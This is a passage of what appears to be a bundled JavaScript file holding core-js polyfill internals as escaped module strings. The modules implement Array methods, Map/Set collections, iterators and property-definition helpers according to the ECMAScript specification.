require('../internals/length-of-array-like');\nvar createProperty = require('../internals/create-property');\nvar getIterator = require('../internals/get-iterator');\nvar getIteratorMethod = require('../internals/get-iterator-method');\n\nvar Array = global.Array;\n\n// `Array.from` method implementation\n// https://tc39.es/ecma262/#sec-array.from\nmodule.exports = function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) {\n var O = toObject(arrayLike);\n var IS_CONSTRUCTOR = isConstructor(this);\n var argumentsLength = arguments.length;\n var mapfn = argumentsLength > 1 ? arguments[1] : undefined;\n var mapping = mapfn !== undefined;\n if (mapping) mapfn = bind(mapfn, argumentsLength > 2 ? arguments[2] : undefined);\n var iteratorMethod = getIteratorMethod(O);\n var index = 0;\n var length, result, step, iterator, next, value;\n // if the target is not iterable or it's an array with the default iterator - use a simple case\n if (iteratorMethod && !(this == Array && isArrayIteratorMethod(iteratorMethod))) {\n iterator = getIterator(O, iteratorMethod);\n next = iterator.next;\n result = IS_CONSTRUCTOR ? new this() : [];\n for (;!(step = call(next, iterator)).done; index++) {\n value = mapping ? callWithSafeIterationClosing(iterator, mapfn, [step.value, index], true) : step.value;\n createProperty(result, index, value);\n }\n } else {\n length = lengthOfArrayLike(O);\n result = IS_CONSTRUCTOR ? new this(length) : Array(length);\n for (;length > index; index++) {\n value = mapping ? mapfn(O[index], index) : O[index];\n createProperty(result, index, value);\n }\n }\n result.length = index;\n return result;\n};\n","var toIndexedObject = require('../internals/to-indexed-object');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\n\n// `Array.prototype.{ indexOf, includes }` methods implementation\nvar createMethod = function (IS_INCLUDES) {\n return function ($this, el, fromIndex) {\n var O = toIndexedObject($this);\n var length = lengthOfArrayLike(O);\n var index = toAbsoluteIndex(fromIndex, length);\n var value;\n // Array#includes uses SameValueZero equality algorithm\n // eslint-disable-next-line no-self-compare -- NaN check\n if (IS_INCLUDES && el != el) while (length > index) {\n value = O[index++];\n // eslint-disable-next-line no-self-compare -- NaN check\n if (value != value) return true;\n // Array#indexOf ignores holes, Array#includes - not\n } else for (;length > index; index++) {\n if ((IS_INCLUDES || index in O) && O[index] === el) return IS_INCLUDES || index || 0;\n } return !IS_INCLUDES && -1;\n };\n};\n\nmodule.exports = {\n // `Array.prototype.includes` method\n // https://tc39.es/ecma262/#sec-array.prototype.includes\n includes: createMethod(true),\n // `Array.prototype.indexOf` method\n // https://tc39.es/ecma262/#sec-array.prototype.indexof\n indexOf: createMethod(false)\n};\n","var bind = require('../internals/function-bind-context');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar IndexedObject = require('../internals/indexed-object');\nvar toObject = require('../internals/to-object');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar arraySpeciesCreate = require('../internals/array-species-create');\n\nvar push = uncurryThis([].push);\n\n// `Array.prototype.{ forEach, map, filter, some, every, find, findIndex, filterReject }` methods implementation\nvar createMethod = function (TYPE) {\n var IS_MAP = TYPE == 1;\n var IS_FILTER = TYPE == 2;\n var IS_SOME = TYPE == 3;\n var IS_EVERY = TYPE == 4;\n var IS_FIND_INDEX = TYPE == 6;\n var IS_FILTER_REJECT = TYPE == 7;\n var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;\n return function ($this, callbackfn, that, specificCreate) {\n var O = toObject($this);\n var self = IndexedObject(O);\n var boundFunction = bind(callbackfn, that);\n var length = lengthOfArrayLike(self);\n var index = 0;\n var create = specificCreate || arraySpeciesCreate;\n var target = IS_MAP ? create($this, length) : IS_FILTER || IS_FILTER_REJECT ? create($this, 0) : undefined;\n var value, result;\n for (;length > index; index++) if (NO_HOLES || index in self) {\n value = self[index];\n result = boundFunction(value, index, O);\n if (TYPE) {\n if (IS_MAP) target[index] = result; // map\n else if (result) switch (TYPE) {\n case 3: return true; // some\n case 5: return value; // find\n case 6: return index; // findIndex\n case 2: push(target, value); // filter\n } else switch (TYPE) {\n case 4: return false; // every\n case 7: push(target, value); // filterReject\n }\n }\n }\n return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : target;\n };\n};\n\nmodule.exports = {\n // `Array.prototype.forEach` method\n // https://tc39.es/ecma262/#sec-array.prototype.foreach\n forEach: createMethod(0),\n // `Array.prototype.map` method\n // https://tc39.es/ecma262/#sec-array.prototype.map\n map: createMethod(1),\n // `Array.prototype.filter` method\n // https://tc39.es/ecma262/#sec-array.prototype.filter\n filter: createMethod(2),\n // `Array.prototype.some` method\n // https://tc39.es/ecma262/#sec-array.prototype.some\n some: createMethod(3),\n // `Array.prototype.every` method\n // https://tc39.es/ecma262/#sec-array.prototype.every\n every: createMethod(4),\n // `Array.prototype.find` method\n // https://tc39.es/ecma262/#sec-array.prototype.find\n find: createMethod(5),\n // `Array.prototype.findIndex` method\n // https://tc39.es/ecma262/#sec-array.prototype.findIndex\n findIndex: createMethod(6),\n // `Array.prototype.filterReject` method\n // https://github.com/tc39/proposal-array-filtering\n filterReject: createMethod(7)\n};\n","'use strict';\n/* eslint-disable es/no-array-prototype-lastindexof -- safe */\nvar apply = require('../internals/function-apply');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar arrayMethodIsStrict = require('../internals/array-method-is-strict');\n\nvar min = Math.min;\nvar $lastIndexOf = [].lastIndexOf;\nvar NEGATIVE_ZERO = !!$lastIndexOf && 1 / [1].lastIndexOf(1, -0) < 0;\nvar STRICT_METHOD = arrayMethodIsStrict('lastIndexOf');\nvar FORCED = NEGATIVE_ZERO || !STRICT_METHOD;\n\n// `Array.prototype.lastIndexOf` method implementation\n// https://tc39.es/ecma262/#sec-array.prototype.lastindexof\nmodule.exports = FORCED ? function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) {\n // convert -0 to +0\n if (NEGATIVE_ZERO) return apply($lastIndexOf, this, arguments) || 0;\n var O = toIndexedObject(this);\n var length = lengthOfArrayLike(O);\n var index = length - 1;\n if (arguments.length > 1) index = min(index, toIntegerOrInfinity(arguments[1]));\n if (index < 0) index = length + index;\n for (;index >= 0; index--) if (index in O && O[index] === searchElement) return index || 0;\n return -1;\n} : $lastIndexOf;\n","var fails = require('../internals/fails');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar V8_VERSION = require('../internals/engine-v8-version');\n\nvar SPECIES = wellKnownSymbol('species');\n\nmodule.exports = function (METHOD_NAME) {\n // We can't use this feature detection in V8 since it causes\n // deoptimization and serious performance degradation\n // https://github.com/zloirock/core-js/issues/677\n return V8_VERSION >= 51 || !fails(function () {\n var array = [];\n var constructor = array.constructor = {};\n constructor[SPECIES] = function () {\n return { foo: 1 };\n };\n return array[METHOD_NAME](Boolean).foo !== 1;\n });\n};\n","'use strict';\nvar fails = require('../internals/fails');\n\nmodule.exports = function (METHOD_NAME, argument) {\n var method = [][METHOD_NAME];\n return !!method && fails(function () {\n // eslint-disable-next-line no-useless-call,no-throw-literal -- required for testing\n method.call(null, argument || function () { throw 1; }, 1);\n });\n};\n","var global = require('../internals/global');\nvar aCallable = require('../internals/a-callable');\nvar toObject = require('../internals/to-object');\nvar IndexedObject = require('../internals/indexed-object');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\n\nvar TypeError = global.TypeError;\n\n// `Array.prototype.{ reduce, reduceRight }` methods implementation\nvar createMethod = function (IS_RIGHT) {\n return function (that, callbackfn, argumentsLength, memo) {\n aCallable(callbackfn);\n var O = toObject(that);\n var self = IndexedObject(O);\n var length = lengthOfArrayLike(O);\n var index = IS_RIGHT ? length - 1 : 0;\n var i = IS_RIGHT ? -1 : 1;\n if (argumentsLength < 2) while (true) {\n if (index in self) {\n memo = self[index];\n index += i;\n break;\n }\n index += i;\n if (IS_RIGHT ? index < 0 : length <= index) {\n throw TypeError('Reduce of empty array with no initial value');\n }\n }\n for (;IS_RIGHT ? index >= 0 : length > index; index += i) if (index in self) {\n memo = callbackfn(memo, self[index], index, O);\n }\n return memo;\n };\n};\n\nmodule.exports = {\n // `Array.prototype.reduce` method\n // https://tc39.es/ecma262/#sec-array.prototype.reduce\n left: createMethod(false),\n // `Array.prototype.reduceRight` method\n // https://tc39.es/ecma262/#sec-array.prototype.reduceright\n right: createMethod(true)\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\n\nmodule.exports = uncurryThis([].slice);\n","var arraySlice = require('../internals/array-slice');\n\nvar floor = Math.floor;\n\nvar mergeSort = function (array, comparefn) {\n var length = array.length;\n var middle = floor(length / 2);\n return length < 8 ? insertionSort(array, comparefn) : merge(\n array,\n mergeSort(arraySlice(array, 0, middle), comparefn),\n mergeSort(arraySlice(array, middle), comparefn),\n comparefn\n );\n};\n\nvar insertionSort = function (array, comparefn) {\n var length = array.length;\n var i = 1;\n var element, j;\n\n while (i < length) {\n j = i;\n element = array[i];\n while (j && comparefn(array[j - 1], element) > 0) {\n array[j] = array[--j];\n }\n if (j !== i++) array[j] = element;\n } return array;\n};\n\nvar merge = function (array, left, right, comparefn) {\n var llength = left.length;\n var rlength = right.length;\n var lindex = 0;\n var rindex = 0;\n\n while (lindex < llength || rindex < rlength) {\n array[lindex + rindex] = (lindex < llength && rindex < rlength)\n ? comparefn(left[lindex], right[rindex]) <= 0 ? left[lindex++] : right[rindex++]\n : lindex < llength ? left[lindex++] : right[rindex++];\n } return array;\n};\n\nmodule.exports = mergeSort;\n","var global = require('../internals/global');\nvar isArray = require('../internals/is-array');\nvar isConstructor = require('../internals/is-constructor');\nvar isObject = require('../internals/is-object');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar SPECIES = wellKnownSymbol('species');\nvar Array = global.Array;\n\n// a part of `ArraySpeciesCreate` abstract operation\n// https://tc39.es/ecma262/#sec-arrayspeciescreate\nmodule.exports = function (originalArray) {\n var C;\n if (isArray(originalArray)) {\n C = originalArray.constructor;\n // cross-realm fallback\n if (isConstructor(C) && (C === Array || isArray(C.prototype))) C = undefined;\n else if (isObject(C)) {\n C = C[SPECIES];\n if (C === null) C = undefined;\n }\n } return C === undefined ? Array : C;\n};\n","var arraySpeciesConstructor = require('../internals/array-species-constructor');\n\n// `ArraySpeciesCreate` abstract operation\n// https://tc39.es/ecma262/#sec-arrayspeciescreate\nmodule.exports = function (originalArray, length) {\n return new (arraySpeciesConstructor(originalArray))(length === 0 ? 0 : length);\n};\n","var anObject = require('../internals/an-object');\nvar iteratorClose = require('../internals/iterator-close');\n\n// call something on iterator step with safe closing on error\nmodule.exports = function (iterator, fn, value, ENTRIES) {\n try {\n return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value);\n } catch (error) {\n iteratorClose(iterator, 'throw', error);\n }\n};\n","var wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar ITERATOR = wellKnownSymbol('iterator');\nvar SAFE_CLOSING = false;\n\ntry {\n var called = 0;\n var iteratorWithReturn = {\n next: function () {\n return { done: !!called++ };\n },\n 'return': function () {\n SAFE_CLOSING = true;\n }\n };\n iteratorWithReturn[ITERATOR] = function () {\n return this;\n };\n // eslint-disable-next-line es/no-array-from, no-throw-literal -- required for testing\n Array.from(iteratorWithReturn, function () { throw 2; });\n} catch (error) { /* empty */ }\n\nmodule.exports = function (exec, SKIP_CLOSING) {\n if (!SKIP_CLOSING && !SAFE_CLOSING) return false;\n var ITERATION_SUPPORT = false;\n try {\n var object = {};\n object[ITERATOR] = function () {\n return {\n next: function () {\n return { done: ITERATION_SUPPORT = true };\n }\n };\n };\n exec(object);\n } catch (error) { /* empty */ }\n return ITERATION_SUPPORT;\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\n\nvar toString = uncurryThis({}.toString);\nvar stringSlice = uncurryThis(''.slice);\n\nmodule.exports = function (it) {\n return stringSlice(toString(it), 8, -1);\n};\n","var global = require('../internals/global');\nvar TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support');\nvar isCallable = require('../internals/is-callable');\nvar classofRaw = require('../internals/classof-raw');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar TO_STRING_TAG = wellKnownSymbol('toStringTag');\nvar Object = global.Object;\n\n// ES3 wrong here\nvar CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) == 'Arguments';\n\n// fallback for IE11 Script Access Denied error\nvar tryGet = function (it, key) {\n try {\n return it[key];\n } catch (error) { /* empty */ }\n};\n\n// getting tag from ES6+ `Object.prototype.toString`\nmodule.exports = TO_STRING_TAG_SUPPORT ? classofRaw : function (it) {\n var O, tag, result;\n return it === undefined ? 'Undefined' : it === null ? 'Null'\n // @@toStringTag case\n : typeof (tag = tryGet(O = Object(it), TO_STRING_TAG)) == 'string' ? tag\n // builtinTag case\n : CORRECT_ARGUMENTS ? classofRaw(O)\n // ES3 arguments fallback\n : (result = classofRaw(O)) == 'Object' && isCallable(O.callee) ? 'Arguments' : result;\n};\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar arraySlice = require('../internals/array-slice');\n\nvar replace = uncurryThis(''.replace);\nvar split = uncurryThis(''.split);\nvar join = uncurryThis([].join);\n\nvar TEST = (function (arg) { return String(Error(arg).stack); })('zxcasd');\nvar V8_OR_CHAKRA_STACK_ENTRY = /\\n\\s*at [^:]*:[^\\n]*/;\nvar IS_V8_OR_CHAKRA_STACK = V8_OR_CHAKRA_STACK_ENTRY.test(TEST);\nvar IS_FIREFOX_OR_SAFARI_STACK = /@[^\\n]*\\n/.test(TEST) && !/zxcasd/.test(TEST);\n\nmodule.exports = function (stack, dropEntries) {\n if (typeof stack != 'string') return stack;\n if (IS_V8_OR_CHAKRA_STACK) {\n while (dropEntries--) stack = replace(stack, V8_OR_CHAKRA_STACK_ENTRY, '');\n } else if (IS_FIREFOX_OR_SAFARI_STACK) {\n return join(arraySlice(split(stack, '\\n'), dropEntries), '\\n');\n } return stack;\n};\n","'use strict';\nvar defineProperty = require('../internals/object-define-property').f;\nvar create = require('../internals/object-create');\nvar redefineAll = require('../internals/redefine-all');\nvar bind = require('../internals/function-bind-context');\nvar anInstance = require('../internals/an-instance');\nvar iterate = require('../internals/iterate');\nvar defineIterator = require('../internals/define-iterator');\nvar setSpecies = require('../internals/set-species');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar fastKey = require('../internals/internal-metadata').fastKey;\nvar InternalStateModule = require('../internals/internal-state');\n\nvar setInternalState = InternalStateModule.set;\nvar internalStateGetterFor = InternalStateModule.getterFor;\n\nmodule.exports = {\n getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) {\n var Constructor = wrapper(function (that, iterable) {\n anInstance(that, Prototype);\n setInternalState(that, {\n type: CONSTRUCTOR_NAME,\n index: create(null),\n first: undefined,\n last: undefined,\n size: 0\n });\n if (!DESCRIPTORS) that.size = 0;\n if (iterable != undefined) iterate(iterable, that[ADDER], { that: that, AS_ENTRIES: IS_MAP });\n });\n\n var Prototype = Constructor.prototype;\n\n var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME);\n\n var define = function (that, key, value) {\n var state = getInternalState(that);\n var entry = getEntry(that, key);\n var previous, index;\n // change existing entry\n if (entry) {\n entry.value = value;\n // create new entry\n } else {\n state.last = entry = {\n index: index = fastKey(key, true),\n key: key,\n value: value,\n previous: previous = state.last,\n next: undefined,\n removed: false\n };\n if (!state.first) state.first = entry;\n if (previous) previous.next = entry;\n if (DESCRIPTORS) state.size++;\n else that.size++;\n // add to index\n if (index !== 'F') state.index[index] = entry;\n } return that;\n };\n\n var getEntry = function (that, key) {\n var state = getInternalState(that);\n // fast case\n var index = fastKey(key);\n var entry;\n if (index !== 'F') return state.index[index];\n // frozen object case\n for (entry = state.first; entry; entry = entry.next) {\n if (entry.key == key) return entry;\n }\n };\n\n redefineAll(Prototype, {\n // `{ Map, Set }.prototype.clear()` methods\n // https://tc39.es/ecma262/#sec-map.prototype.clear\n // https://tc39.es/ecma262/#sec-set.prototype.clear\n clear: function clear() {\n var that = this;\n var state = getInternalState(that);\n var data = state.index;\n var entry = state.first;\n while (entry) {\n entry.removed = true;\n if (entry.previous) entry.previous = entry.previous.next = undefined;\n delete data[entry.index];\n entry = entry.next;\n }\n state.first = state.last = undefined;\n if (DESCRIPTORS) state.size = 0;\n else that.size = 0;\n },\n // `{ Map, Set }.prototype.delete(key)` methods\n // https://tc39.es/ecma262/#sec-map.prototype.delete\n // https://tc39.es/ecma262/#sec-set.prototype.delete\n 'delete': function (key) {\n var that = this;\n var state = getInternalState(that);\n var entry = getEntry(that, key);\n if (entry) {\n var next = entry.next;\n var prev = entry.previous;\n delete state.index[entry.index];\n entry.removed = true;\n if (prev) prev.next = next;\n if (next) next.previous = prev;\n if (state.first == entry) state.first = next;\n if (state.last == entry) state.last = prev;\n if (DESCRIPTORS) state.size--;\n else that.size--;\n } return !!entry;\n },\n // `{ Map, Set }.prototype.forEach(callbackfn, thisArg = undefined)` methods\n // https://tc39.es/ecma262/#sec-map.prototype.foreach\n // https://tc39.es/ecma262/#sec-set.prototype.foreach\n forEach: function forEach(callbackfn /* , that = undefined */) {\n var state = getInternalState(this);\n var boundFunction = bind(callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n var entry;\n while (entry = entry ? entry.next : state.first) {\n boundFunction(entry.value, entry.key, this);\n // revert to the last existing entry\n while (entry && entry.removed) entry = entry.previous;\n }\n },\n // `{ Map, Set}.prototype.has(key)` methods\n // https://tc39.es/ecma262/#sec-map.prototype.has\n // https://tc39.es/ecma262/#sec-set.prototype.has\n has: function has(key) {\n return !!getEntry(this, key);\n }\n });\n\n redefineAll(Prototype, IS_MAP ? {\n // `Map.prototype.get(key)` method\n // https://tc39.es/ecma262/#sec-map.prototype.get\n get: function get(key) {\n var entry = getEntry(this, key);\n return entry && entry.value;\n },\n // `Map.prototype.set(key, value)` method\n // https://tc39.es/ecma262/#sec-map.prototype.set\n set: function set(key, value) {\n return define(this, key === 0 ? 0 : key, value);\n }\n } : {\n // `Set.prototype.add(value)` method\n // https://tc39.es/ecma262/#sec-set.prototype.add\n add: function add(value) {\n return define(this, value = value === 0 ? 0 : value, value);\n }\n });\n if (DESCRIPTORS) defineProperty(Prototype, 'size', {\n get: function () {\n return getInternalState(this).size;\n }\n });\n return Constructor;\n },\n setStrong: function (Constructor, CONSTRUCTOR_NAME, IS_MAP) {\n var ITERATOR_NAME = CONSTRUCTOR_NAME + ' Iterator';\n var getInternalCollectionState = internalStateGetterFor(CONSTRUCTOR_NAME);\n var getInternalIteratorState = internalStateGetterFor(ITERATOR_NAME);\n // `{ Map, Set }.prototype.{ keys, values, entries, @@iterator }()` methods\n // https://tc39.es/ecma262/#sec-map.prototype.entries\n // https://tc39.es/ecma262/#sec-map.prototype.keys\n // https://tc39.es/ecma262/#sec-map.prototype.values\n // https://tc39.es/ecma262/#sec-map.prototype-@@iterator\n // https://tc39.es/ecma262/#sec-set.prototype.entries\n // https://tc39.es/ecma262/#sec-set.prototype.keys\n // https://tc39.es/ecma262/#sec-set.prototype.values\n // https://tc39.es/ecma262/#sec-set.prototype-@@iterator\n defineIterator(Constructor, CONSTRUCTOR_NAME, function (iterated, kind) {\n setInternalState(this, {\n type: ITERATOR_NAME,\n target: iterated,\n state: getInternalCollectionState(iterated),\n kind: kind,\n last: undefined\n });\n }, function () {\n var state = getInternalIteratorState(this);\n var kind = state.kind;\n var entry = state.last;\n // revert to the last existing entry\n while (entry && entry.removed) entry = entry.previous;\n // get next entry\n if (!state.target || !(state.last = entry = entry ? entry.next : state.state.first)) {\n // or finish the iteration\n state.target = undefined;\n return { value: undefined, done: true };\n }\n // return step by kind\n if (kind == 'keys') return { value: entry.key, done: false };\n if (kind == 'values') return { value: entry.value, done: false };\n return { value: [entry.key, entry.value], done: false };\n }, IS_MAP ? 'entries' : 'values', !IS_MAP, true);\n\n // `{ Map, Set }.prototype[@@species]` accessors\n // https://tc39.es/ecma262/#sec-get-map-@@species\n // https://tc39.es/ecma262/#sec-get-set-@@species\n setSpecies(CONSTRUCTOR_NAME);\n }\n};\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar isForced = require('../internals/is-forced');\nvar redefine = require('../internals/redefine');\nvar InternalMetadataModule = require('../internals/internal-metadata');\nvar iterate = require('../internals/iterate');\nvar anInstance = require('../internals/an-instance');\nvar isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\nvar fails = require('../internals/fails');\nvar checkCorrectnessOfIteration = require('../internals/check-correctness-of-iteration');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar inheritIfRequired = require('../internals/inherit-if-required');\n\nmodule.exports = function (CONSTRUCTOR_NAME, wrapper, common) {\n var IS_MAP = CONSTRUCTOR_NAME.indexOf('Map') !== -1;\n var IS_WEAK = CONSTRUCTOR_NAME.indexOf('Weak') !== -1;\n var ADDER = IS_MAP ? 'set' : 'add';\n var NativeConstructor = global[CONSTRUCTOR_NAME];\n var NativePrototype = NativeConstructor && NativeConstructor.prototype;\n var Constructor = NativeConstructor;\n var exported = {};\n\n var fixMethod = function (KEY) {\n var uncurriedNativeMethod = uncurryThis(NativePrototype[KEY]);\n redefine(NativePrototype, KEY,\n KEY == 'add' ? function add(value) {\n uncurriedNativeMethod(this, value === 0 ? 0 : value);\n return this;\n } : KEY == 'delete' ? function (key) {\n return IS_WEAK && !isObject(key) ? false : uncurriedNativeMethod(this, key === 0 ? 0 : key);\n } : KEY == 'get' ? function get(key) {\n return IS_WEAK && !isObject(key) ? undefined : uncurriedNativeMethod(this, key === 0 ? 0 : key);\n } : KEY == 'has' ? function has(key) {\n return IS_WEAK && !isObject(key) ? false : uncurriedNativeMethod(this, key === 0 ? 0 : key);\n } : function set(key, value) {\n uncurriedNativeMethod(this, key === 0 ? 0 : key, value);\n return this;\n }\n );\n };\n\n var REPLACE = isForced(\n CONSTRUCTOR_NAME,\n !isCallable(NativeConstructor) || !(IS_WEAK || NativePrototype.forEach && !fails(function () {\n new NativeConstructor().entries().next();\n }))\n );\n\n if (REPLACE) {\n // create collection constructor\n Constructor = common.getConstructor(wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER);\n InternalMetadataModule.enable();\n } else if (isForced(CONSTRUCTOR_NAME, true)) {\n var instance = new Constructor();\n // early implementations not supports chaining\n var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance;\n // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false\n var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); });\n // most early implementations doesn't supports iterables, most modern - not close it correctly\n // eslint-disable-next-line no-new -- required for testing\n var ACCEPT_ITERABLES = checkCorrectnessOfIteration(function (iterable) { new NativeConstructor(iterable); });\n // for early implementations -0 and +0 not the same\n var BUGGY_ZERO = !IS_WEAK && fails(function () {\n // V8 ~ Chromium 42- fails only with 5+ elements\n var $instance = new NativeConstructor();\n var index = 5;\n while (index--) $instance[ADDER](index, index);\n return !$instance.has(-0);\n });\n\n if (!ACCEPT_ITERABLES) {\n Constructor = wrapper(function (dummy, iterable) {\n anInstance(dummy, NativePrototype);\n var that = inheritIfRequired(new NativeConstructor(), dummy, Constructor);\n if (iterable != undefined) iterate(iterable, that[ADDER], { that: that, AS_ENTRIES: IS_MAP });\n return that;\n });\n Constructor.prototype = NativePrototype;\n NativePrototype.constructor = Constructor;\n }\n\n if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) {\n fixMethod('delete');\n fixMethod('has');\n IS_MAP && fixMethod('get');\n }\n\n if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER);\n\n // weak collections should not contains .clear method\n if (IS_WEAK && NativePrototype.clear) delete NativePrototype.clear;\n }\n\n exported[CONSTRUCTOR_NAME] = Constructor;\n $({ global: true, forced: Constructor != NativeConstructor }, exported);\n\n setToStringTag(Constructor, CONSTRUCTOR_NAME);\n\n if (!IS_WEAK) common.setStrong(Constructor, CONSTRUCTOR_NAME, IS_MAP);\n\n return Constructor;\n};\n","var hasOwn = require('../internals/has-own-property');\nvar ownKeys = require('../internals/own-keys');\nvar getOwnPropertyDescriptorModule = require('../internals/object-get-own-property-descriptor');\nvar definePropertyModule = require('../internals/object-define-property');\n\nmodule.exports = function (target, source) {\n var keys = ownKeys(source);\n var defineProperty = definePropertyModule.f;\n var getOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f;\n for (var i = 0; i < keys.length; i++) {\n var key = keys[i];\n if (!hasOwn(target, key)) defineProperty(target, key, getOwnPropertyDescriptor(source, key));\n }\n};\n","var wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar MATCH = wellKnownSymbol('match');\n\nmodule.exports = function (METHOD_NAME) {\n var regexp = /./;\n try {\n '/./'[METHOD_NAME](regexp);\n } catch (error1) {\n try {\n regexp[MATCH] = false;\n return '/./'[METHOD_NAME](regexp);\n } catch (error2) { /* empty */ }\n } return false;\n};\n","var fails = require('../internals/fails');\n\nmodule.exports = !fails(function () {\n function F() { /* empty */ }\n F.prototype.constructor = null;\n // eslint-disable-next-line es/no-object-getprototypeof -- required for testing\n return Object.getPrototypeOf(new F()) !== F.prototype;\n});\n","var uncurryThis = require('../internals/function-uncurry-this');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar toString = require('../internals/to-string');\n\nvar quot = /\"/g;\nvar replace = uncurryThis(''.replace);\n\n// `CreateHTML` abstract operation\n// https://tc39.es/ecma262/#sec-createhtml\nmodule.exports = function (string, tag, attribute, value) {\n var S = toString(requireObjectCoercible(string));\n var p1 = '<' + tag;\n if (attribute !== '') p1 += ' ' + attribute + '=\"' + replace(toString(value), quot, '"') + '\"';\n return p1 + '>' + S + '';\n};\n","'use strict';\nvar IteratorPrototype = require('../internals/iterators-core').IteratorPrototype;\nvar create = require('../internals/object-create');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar Iterators = require('../internals/iterators');\n\nvar returnThis = function () { return this; };\n\nmodule.exports = function (IteratorConstructor, NAME, next) {\n var TO_STRING_TAG = NAME + ' Iterator';\n IteratorConstructor.prototype = create(IteratorPrototype, { next: createPropertyDescriptor(1, next) });\n setToStringTag(IteratorConstructor, TO_STRING_TAG, false, true);\n Iterators[TO_STRING_TAG] = returnThis;\n return IteratorConstructor;\n};\n","var DESCRIPTORS = require('../internals/descriptors');\nvar definePropertyModule = require('../internals/object-define-property');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\n\nmodule.exports = DESCRIPTORS ? function (object, key, value) {\n return definePropertyModule.f(object, key, createPropertyDescriptor(1, value));\n} : function (object, key, value) {\n object[key] = value;\n return object;\n};\n","module.exports = function (bitmap, value) {\n return {\n enumerable: !(bitmap & 1),\n configurable: !(bitmap & 2),\n writable: !(bitmap & 4),\n value: value\n };\n};\n","'use strict';\nvar toPropertyKey = require('../internals/to-property-key');\nvar definePropertyModule = require('../internals/object-define-property');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\n\nmodule.exports = function (object, key, value) {\n var propertyKey = toPropertyKey(key);\n if (propertyKey in object) definePropertyModule.f(object, propertyKey, createPropertyDescriptor(0, value));\n else object[propertyKey] = value;\n};\n","'use strict';\nvar global = require('../internals/global');\nvar anObject = require('../internals/an-object');\nvar ordinaryToPrimitive = require('../internals/ordinary-to-primitive');\n\nvar TypeError = global.TypeError;\n\n// `Date.prototype[@@toPrimitive](hint)` method implementation\n// https://tc39.es/ecma262/#sec-date.prototype-@@toprimitive\nmodule.exports = function (hint) {\n anObject(this);\n if (hint === 'string' || hint === 'default') hint = 'string';\n else if (hint !== 'number') throw TypeError('Incorrect hint');\n return ordinaryToPrimitive(this, hint);\n};\n","'use strict';\nvar $ = require('../internals/export');\nvar call = require('../internals/function-call');\nvar IS_PURE = require('../internals/is-pure');\nvar FunctionName = require('../internals/function-name');\nvar isCallable = require('../internals/is-callable');\nvar createIteratorConstructor = require('../internals/create-iterator-constructor');\nvar getPrototypeOf = require('../internals/object-get-prototype-of');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar redefine = require('../internals/redefine');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar Iterators = require('../internals/iterators');\nvar IteratorsCore = require('../internals/iterators-core');\n\nvar PROPER_FUNCTION_NAME = FunctionName.PROPER;\nvar CONFIGURABLE_FUNCTION_NAME = FunctionName.CONFIGURABLE;\nvar IteratorPrototype = IteratorsCore.IteratorPrototype;\nvar BUGGY_SAFARI_ITERATORS = IteratorsCore.BUGGY_SAFARI_ITERATORS;\nvar ITERATOR = wellKnownSymbol('iterator');\nvar KEYS = 'keys';\nvar VALUES = 'values';\nvar ENTRIES = 'entries';\n\nvar returnThis = function () { return this; };\n\nmodule.exports = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) {\n createIteratorConstructor(IteratorConstructor, NAME, next);\n\n var getIterationMethod = function (KIND) {\n if (KIND === DEFAULT && defaultIterator) return defaultIterator;\n if (!BUGGY_SAFARI_ITERATORS && KIND in IterablePrototype) return IterablePrototype[KIND];\n switch (KIND) {\n case KEYS: return function keys() { return new IteratorConstructor(this, KIND); };\n case VALUES: return function values() { return new IteratorConstructor(this, KIND); };\n case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); };\n } return function () { return new IteratorConstructor(this); };\n };\n\n var TO_STRING_TAG = NAME + ' Iterator';\n var INCORRECT_VALUES_NAME = false;\n var IterablePrototype = Iterable.prototype;\n var nativeIterator = IterablePrototype[ITERATOR]\n || IterablePrototype['@@iterator']\n || DEFAULT && 